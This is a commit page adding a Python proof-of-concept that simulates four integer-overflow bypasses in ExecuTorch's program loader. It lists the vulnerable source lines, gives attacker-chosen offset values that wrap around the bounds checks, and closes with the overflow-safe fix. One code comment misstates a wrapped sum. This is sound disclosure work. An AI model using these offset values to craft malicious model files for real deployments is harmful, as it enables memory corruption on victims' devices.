PoC: ExecuTorch segment offset integer overflow (CWE-190)
Browse files
poc_F5_segment_offset_overflow.py
ADDED
|
@@ -0,0 +1,301 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
#!/usr/bin/env python3
|
| 2 |
+
"""
|
| 3 |
+
ExecuTorch Segment Offset Calculation Integer Overflows (CWE-190)
|
| 4 |
+
==================================================================
|
| 5 |
+
|
| 6 |
+
Target: ExecuTorch (pytorch/executorch)
|
| 7 |
+
Commit: 90e6e4ca4ef369ce4288ffcd2a0210d5137117dd
|
| 8 |
+
|
| 9 |
+
Affected File: runtime/executor/program.cpp
|
| 10 |
+
- Line 96: segment_base_offset + segment_data_size
|
| 11 |
+
https://github.com/pytorch/executorch/blob/90e6e4ca4ef369ce4288ffcd2a0210d5137117dd/runtime/executor/program.cpp#L96
|
| 12 |
+
- Line 378: offset + nbytes (get_constant_buffer_data)
|
| 13 |
+
https://github.com/pytorch/executorch/blob/90e6e4ca4ef369ce4288ffcd2a0210d5137117dd/runtime/executor/program.cpp#L378
|
| 14 |
+
- Line 504: segment_base_offset_ + segment->offset()
|
| 15 |
+
https://github.com/pytorch/executorch/blob/90e6e4ca4ef369ce4288ffcd2a0210d5137117dd/runtime/executor/program.cpp#L504
|
| 16 |
+
- Line 589: segment_base_offset_ + segment->offset() + segment_info->segment_index()
|
| 17 |
+
https://github.com/pytorch/executorch/blob/90e6e4ca4ef369ce4288ffcd2a0210d5137117dd/runtime/executor/program.cpp#L589
|
| 18 |
+
|
| 19 |
+
CWE-190: Integer Overflow or Wraparound
|
| 20 |
+
|
| 21 |
+
Description:
|
| 22 |
+
ExecuTorch's Program loader performs multiple offset arithmetic operations
|
| 23 |
+
using values from the FlatBuffer schema (attacker-controlled in a malicious
|
| 24 |
+
.pte file). These operations are performed on size_t (uint64_t on 64-bit)
|
| 25 |
+
without overflow detection, allowing wraparound that bypasses subsequent
|
| 26 |
+
bounds checks and leads to out-of-bounds memory access.
|
| 27 |
+
|
| 28 |
+
All four overflow sites use the pattern:
|
| 29 |
+
computed_offset = base + attacker_offset [+ attacker_offset2]
|
| 30 |
+
if (computed_offset > limit) return error; // bypassed by overflow
|
| 31 |
+
|
| 32 |
+
Impact:
|
| 33 |
+
Heap out-of-bounds read/write through corrupted offset calculations.
|
| 34 |
+
The attacker controls the offset values through the .pte FlatBuffer schema.
|
| 35 |
+
"""
|
| 36 |
+
|
| 37 |
+
import struct
|
| 38 |
+
import sys
|
| 39 |
+
|
| 40 |
+
UINT64_MAX = (1 << 64) - 1
|
| 41 |
+
SIZE_T_BITS = 64 # Assuming 64-bit platform
|
| 42 |
+
|
| 43 |
+
|
| 44 |
+
def uint64_add(a: int, b: int) -> int:
|
| 45 |
+
"""Simulate uint64_t addition with wraparound."""
|
| 46 |
+
return (a + b) & UINT64_MAX
|
| 47 |
+
|
| 48 |
+
|
| 49 |
+
def uint64_add3(a: int, b: int, c: int) -> int:
|
| 50 |
+
"""Simulate uint64_t triple addition with wraparound."""
|
| 51 |
+
return (a + b + c) & UINT64_MAX
|
| 52 |
+
|
| 53 |
+
|
| 54 |
+
def check_overflow(true_sum: int) -> bool:
|
| 55 |
+
"""Returns True if the sum overflows uint64_t."""
|
| 56 |
+
return true_sum > UINT64_MAX
|
| 57 |
+
|
| 58 |
+
|
| 59 |
+
def print_overflow_analysis(label: str, operands: list, limit: int, limit_name: str):
|
| 60 |
+
"""Analyze and print an overflow scenario."""
|
| 61 |
+
true_sum = sum(operands)
|
| 62 |
+
wrapped_sum = true_sum & UINT64_MAX
|
| 63 |
+
overflows = check_overflow(true_sum)
|
| 64 |
+
bypasses_check = wrapped_sum <= limit and true_sum > limit
|
| 65 |
+
|
| 66 |
+
print(f" Operands:")
|
| 67 |
+
for i, op in enumerate(operands):
|
| 68 |
+
print(f" {'+ ' if i > 0 else ' '}0x{op:016X} ({op:,})")
|
| 69 |
+
print(f" True sum: 0x{true_sum:X} ({true_sum:,})")
|
| 70 |
+
print(f" Wrapped sum: 0x{wrapped_sum:016X} ({wrapped_sum:,})")
|
| 71 |
+
print(f" {limit_name}: 0x{limit:016X} ({limit:,})")
|
| 72 |
+
print(f" Overflows: {'YES' if overflows else 'NO'}")
|
| 73 |
+
print(f" wrapped <= {limit_name}: {'YES' if wrapped_sum <= limit else 'NO'}")
|
| 74 |
+
print(f" Bypasses check: {'>>> YES — OOB ACCESS <<<' if bypasses_check else 'No'}")
|
| 75 |
+
print()
|
| 76 |
+
|
| 77 |
+
|
| 78 |
+
def main():
|
| 79 |
+
print("=" * 78)
|
| 80 |
+
print("ExecuTorch Segment Offset Integer Overflow PoC")
|
| 81 |
+
print("CWE-190: Integer Overflow or Wraparound")
|
| 82 |
+
print("=" * 78)
|
| 83 |
+
print()
|
| 84 |
+
|
| 85 |
+
# =========================================================================
|
| 86 |
+
# OVERFLOW 1: program.cpp:96
|
| 87 |
+
# segment_base_offset = header_size + flatbuffer_size (program_data_size)
|
| 88 |
+
# if (segment_base_offset + segment_data_size > file_size) ...
|
| 89 |
+
# =========================================================================
|
| 90 |
+
print("=" * 78)
|
| 91 |
+
print("OVERFLOW 1: program.cpp:96")
|
| 92 |
+
print(" segment_base_offset + segment_data_size > file_size")
|
| 93 |
+
print("=" * 78)
|
| 94 |
+
print()
|
| 95 |
+
print(" Code:")
|
| 96 |
+
print(" size_t segment_base_offset = program_data_size;")
|
| 97 |
+
print(" // ...")
|
| 98 |
+
print(" if (segment_base_offset + segment_data_size > file_data_length) {")
|
| 99 |
+
print(" return Error::InvalidProgram;")
|
| 100 |
+
print(" }")
|
| 101 |
+
print()
|
| 102 |
+
print(" Attack: Set segment_data_size in .pte so the sum wraps.")
|
| 103 |
+
print()
|
| 104 |
+
|
| 105 |
+
# The segment_base_offset is derived from program data size (attacker-influenced)
|
| 106 |
+
# segment_data_size comes from summing segment sizes in the FlatBuffer
|
| 107 |
+
segment_base_offset_1 = 0x8000000000000000 # Large program_data_size
|
| 108 |
+
segment_data_size_1 = 0x8000000000000100 # Large total segment size
|
| 109 |
+
file_size_1 = 0x0000000000100000 # 1 MB file
|
| 110 |
+
|
| 111 |
+
print(f" Scenario: segment_base_offset=0x{segment_base_offset_1:X}, "
|
| 112 |
+
f"segment_data_size=0x{segment_data_size_1:X}, file=1MB")
|
| 113 |
+
print()
|
| 114 |
+
print_overflow_analysis(
|
| 115 |
+
"program.cpp:96",
|
| 116 |
+
[segment_base_offset_1, segment_data_size_1],
|
| 117 |
+
file_size_1,
|
| 118 |
+
"file_data_length"
|
| 119 |
+
)
|
| 120 |
+
|
| 121 |
+
# =========================================================================
|
| 122 |
+
# OVERFLOW 2: program.cpp:378
|
| 123 |
+
# get_constant_buffer_data: offset + nbytes overflow
|
| 124 |
+
# =========================================================================
|
| 125 |
+
print("=" * 78)
|
| 126 |
+
print("OVERFLOW 2: program.cpp:378")
|
| 127 |
+
print(" offset + nbytes > constant_segment.size (get_constant_buffer_data)")
|
| 128 |
+
print("=" * 78)
|
| 129 |
+
print()
|
| 130 |
+
print(" Code (get_constant_buffer_data):")
|
| 131 |
+
print(" size_t offset = constant_buffer->storage_offset();")
|
| 132 |
+
print(" size_t nbytes = constant_buffer->allocation_info()->memory_size_bytes();")
|
| 133 |
+
print(" if (offset + nbytes > constant_segment.size) {")
|
| 134 |
+
print(" return Error::InvalidProgram;")
|
| 135 |
+
print(" }")
|
| 136 |
+
print()
|
| 137 |
+
print(" Attack: Craft constant_buffer with large storage_offset and memory_size_bytes.")
|
| 138 |
+
print()
|
| 139 |
+
|
| 140 |
+
offset_2 = 0xFFFFFFFFFFFF0000
|
| 141 |
+
nbytes_2 = 0x0000000000020000 # 128 KB
|
| 142 |
+
seg_size_2 = 0x0000000000010000 # 64 KB segment
|
| 143 |
+
|
| 144 |
+
print(f" Scenario: offset=0x{offset_2:X}, nbytes=0x{nbytes_2:X}, segment=64KB")
|
| 145 |
+
print()
|
| 146 |
+
print_overflow_analysis(
|
| 147 |
+
"program.cpp:378",
|
| 148 |
+
[offset_2, nbytes_2],
|
| 149 |
+
seg_size_2,
|
| 150 |
+
"constant_segment.size"
|
| 151 |
+
)
|
| 152 |
+
|
| 153 |
+
# Demonstrate the actual OOB read that follows
|
| 154 |
+
wrapped_2 = uint64_add(offset_2, nbytes_2)
|
| 155 |
+
print(f" After check passes:")
|
| 156 |
+
print(f" Code does: return segment_data + offset;")
|
| 157 |
+
print(f" segment_data is a pointer to {seg_size_2} bytes")
|
| 158 |
+
print(f" offset = 0x{offset_2:X}")
|
| 159 |
+
print(f" Result: pointer {offset_2 - seg_size_2:,} bytes PAST segment end")
|
| 160 |
+
print(f" >>> Heap OOB read <<<")
|
| 161 |
+
print()
|
| 162 |
+
|
| 163 |
+
# =========================================================================
|
| 164 |
+
# OVERFLOW 3: program.cpp:504
|
| 165 |
+
# segment_base_offset_ + segment->offset()
|
| 166 |
+
# =========================================================================
|
| 167 |
+
print("=" * 78)
|
| 168 |
+
print("OVERFLOW 3: program.cpp:504")
|
| 169 |
+
print(" segment_base_offset_ + segment->offset()")
|
| 170 |
+
print("=" * 78)
|
| 171 |
+
print()
|
| 172 |
+
print(" Code (load_segment_data):")
|
| 173 |
+
print(' const void* segment_data = static_cast<const uint8_t*>(')
|
| 174 |
+
print(' segment_data_.data) + segment_base_offset_ + segment->offset();')
|
| 175 |
+
print()
|
| 176 |
+
print(" This is pointer arithmetic — no bounds check at all!")
|
| 177 |
+
print(" The sum is used directly as a memory offset.")
|
| 178 |
+
print()
|
| 179 |
+
|
| 180 |
+
seg_base_3 = 0xC000000000000000
|
| 181 |
+
seg_offset_3 = 0x5000000000000000 # From FlatBuffer segment->offset()
|
| 182 |
+
|
| 183 |
+
true_3 = seg_base_3 + seg_offset_3
|
| 184 |
+
wrapped_3 = uint64_add(seg_base_3, seg_offset_3)
|
| 185 |
+
|
| 186 |
+
print(f" segment_base_offset_ = 0x{seg_base_3:016X}")
|
| 187 |
+
print(f" segment->offset() = 0x{seg_offset_3:016X}")
|
| 188 |
+
print(f" True sum: 0x{true_3:X}")
|
| 189 |
+
print(f" Wrapped (uint64): 0x{wrapped_3:016X}")
|
| 190 |
+
print()
|
| 191 |
+
print(f" If buffer is mapped at address P:")
|
| 192 |
+
print(f" Expected access: P + 0x{true_3:X} (way past buffer)")
|
| 193 |
+
print(f" Actual access: P + 0x{wrapped_3:X} (wraps to small offset)")
|
| 194 |
+
print()
|
| 195 |
+
print(f" The pointer arithmetic wraps, causing access to an earlier")
|
| 196 |
+
print(f" part of the mapped file or adjacent heap memory.")
|
| 197 |
+
print(f" >>> Type confusion / data corruption <<<")
|
| 198 |
+
print()
|
| 199 |
+
|
| 200 |
+
# =========================================================================
|
| 201 |
+
# OVERFLOW 4: program.cpp:589
|
| 202 |
+
# segment_base_offset_ + segment->offset() + segment_info->segment_index()
|
| 203 |
+
# =========================================================================
|
| 204 |
+
print("=" * 78)
|
| 205 |
+
print("OVERFLOW 4: program.cpp:589")
|
| 206 |
+
print(" segment_base_offset_ + segment->offset() + segment_info->segment_index()")
|
| 207 |
+
print("=" * 78)
|
| 208 |
+
print()
|
| 209 |
+
print(" Code:")
|
| 210 |
+
print(' size_t offset = segment_base_offset_ + segment->offset()')
|
| 211 |
+
print(' + segment_info->segment_index();')
|
| 212 |
+
print()
|
| 213 |
+
print(" Triple addition — three attacker-controlled values summed")
|
| 214 |
+
print(" without any overflow check.")
|
| 215 |
+
print()
|
| 216 |
+
|
| 217 |
+
seg_base_4 = 0x5555555555555555
|
| 218 |
+
seg_off_4 = 0x5555555555555555
|
| 219 |
+
seg_idx_4 = 0x5555555555555557 # Chosen so triple sum wraps to 0x0001
|
| 220 |
+
|
| 221 |
+
true_4 = seg_base_4 + seg_off_4 + seg_idx_4
|
| 222 |
+
wrapped_4 = uint64_add3(seg_base_4, seg_off_4, seg_idx_4)
|
| 223 |
+
|
| 224 |
+
print(f" segment_base_offset_ = 0x{seg_base_4:016X}")
|
| 225 |
+
print(f" segment->offset() = 0x{seg_off_4:016X}")
|
| 226 |
+
print(f" segment_index() = 0x{seg_idx_4:016X}")
|
| 227 |
+
print(f" True sum: 0x{true_4:X}")
|
| 228 |
+
print(f" Wrapped (uint64): 0x{wrapped_4:016X} = {wrapped_4}")
|
| 229 |
+
print()
|
| 230 |
+
print(f" Three large values sum to 0x{wrapped_4:X} after overflow!")
|
| 231 |
+
print(f" The resulting offset points to the very beginning of the")
|
| 232 |
+
print(f" mapped data, regardless of where segments actually are.")
|
| 233 |
+
print(f" >>> Arbitrary offset within mapped memory <<<")
|
| 234 |
+
print()
|
| 235 |
+
|
| 236 |
+
# Additional scenario for overflow 4: just barely overflows
|
| 237 |
+
seg_base_4b = UINT64_MAX - 100
|
| 238 |
+
seg_off_4b = 50
|
| 239 |
+
seg_idx_4b = 52 # Total = UINT64_MAX + 1 = wraps to 0
|
| 240 |
+
|
| 241 |
+
true_4b = seg_base_4b + seg_off_4b + seg_idx_4b
|
| 242 |
+
wrapped_4b = uint64_add3(seg_base_4b, seg_off_4b, seg_idx_4b)
|
| 243 |
+
|
| 244 |
+
print(f" Scenario B (minimal overflow):")
|
| 245 |
+
print(f" segment_base_offset_ = 0x{seg_base_4b:016X} (UINT64_MAX - 100)")
|
| 246 |
+
print(f" segment->offset() = {seg_off_4b}")
|
| 247 |
+
print(f" segment_index() = {seg_idx_4b}")
|
| 248 |
+
print(f" True sum: 0x{true_4b:X} (UINT64_MAX + 1 + 1)")
|
| 249 |
+
print(f" Wrapped (uint64): 0x{wrapped_4b:016X} = {wrapped_4b}")
|
| 250 |
+
print(f" >>> Wraps to offset {wrapped_4b}, bypasses any subsequent check <<<")
|
| 251 |
+
print()
|
| 252 |
+
|
| 253 |
+
# =========================================================================
|
| 254 |
+
# Contrast with safe pattern (BufferDataLoader)
|
| 255 |
+
# =========================================================================
|
| 256 |
+
print("=" * 78)
|
| 257 |
+
print("SAFE PATTERN: c10::add_overflows()")
|
| 258 |
+
print("=" * 78)
|
| 259 |
+
print()
|
| 260 |
+
print(" BufferDataLoader (buffer_data_loader.h:38-41) uses the safe pattern:")
|
| 261 |
+
print()
|
| 262 |
+
print(" size_t total;")
|
| 263 |
+
print(" if (c10::add_overflows(offset, size, &total) || total > data_size_) {")
|
| 264 |
+
print(" return Error::InvalidArgument;")
|
| 265 |
+
print(" }")
|
| 266 |
+
print()
|
| 267 |
+
print(" This detects the overflow BEFORE the comparison.")
|
| 268 |
+
print(" All four overflow sites in program.cpp should use this pattern.")
|
| 269 |
+
print()
|
| 270 |
+
print(" Alternatively, use __builtin_add_overflow() or check:")
|
| 271 |
+
print(" if (a > SIZE_MAX - b) { /* overflow */ }")
|
| 272 |
+
print()
|
| 273 |
+
|
| 274 |
+
# =========================================================================
|
| 275 |
+
# Summary table
|
| 276 |
+
# =========================================================================
|
| 277 |
+
print("=" * 78)
|
| 278 |
+
print("SUMMARY")
|
| 279 |
+
print("=" * 78)
|
| 280 |
+
print()
|
| 281 |
+
print(" +--------+------------+------------------------------------------+")
|
| 282 |
+
print(" | Line | # Operands | Expression |")
|
| 283 |
+
print(" +--------+------------+------------------------------------------+")
|
| 284 |
+
print(" | 96 | 2 | segment_base_offset + segment_data_size |")
|
| 285 |
+
print(" | 378 | 2 | offset + nbytes |")
|
| 286 |
+
print(" | 504 | 2 | segment_base_offset_ + segment->offset() |")
|
| 287 |
+
print(" | 589 | 3 | seg_base + seg->offset() + seg_index() |")
|
| 288 |
+
print(" +--------+------------+------------------------------------------+")
|
| 289 |
+
print()
|
| 290 |
+
print(" All 4 sites perform unchecked integer addition on attacker-controlled")
|
| 291 |
+
print(" values from the .pte FlatBuffer schema. Overflow wraps the result to")
|
| 292 |
+
print(" a small value, bypassing bounds checks and enabling OOB memory access.")
|
| 293 |
+
print()
|
| 294 |
+
print(" Fix: Use c10::add_overflows() or equivalent overflow-safe arithmetic")
|
| 295 |
+
print(" for all offset calculations involving untrusted values.")
|
| 296 |
+
|
| 297 |
+
return 1
|
| 298 |
+
|
| 299 |
+
|
| 300 |
+
if __name__ == "__main__":
|
| 301 |
+
sys.exit(main())
|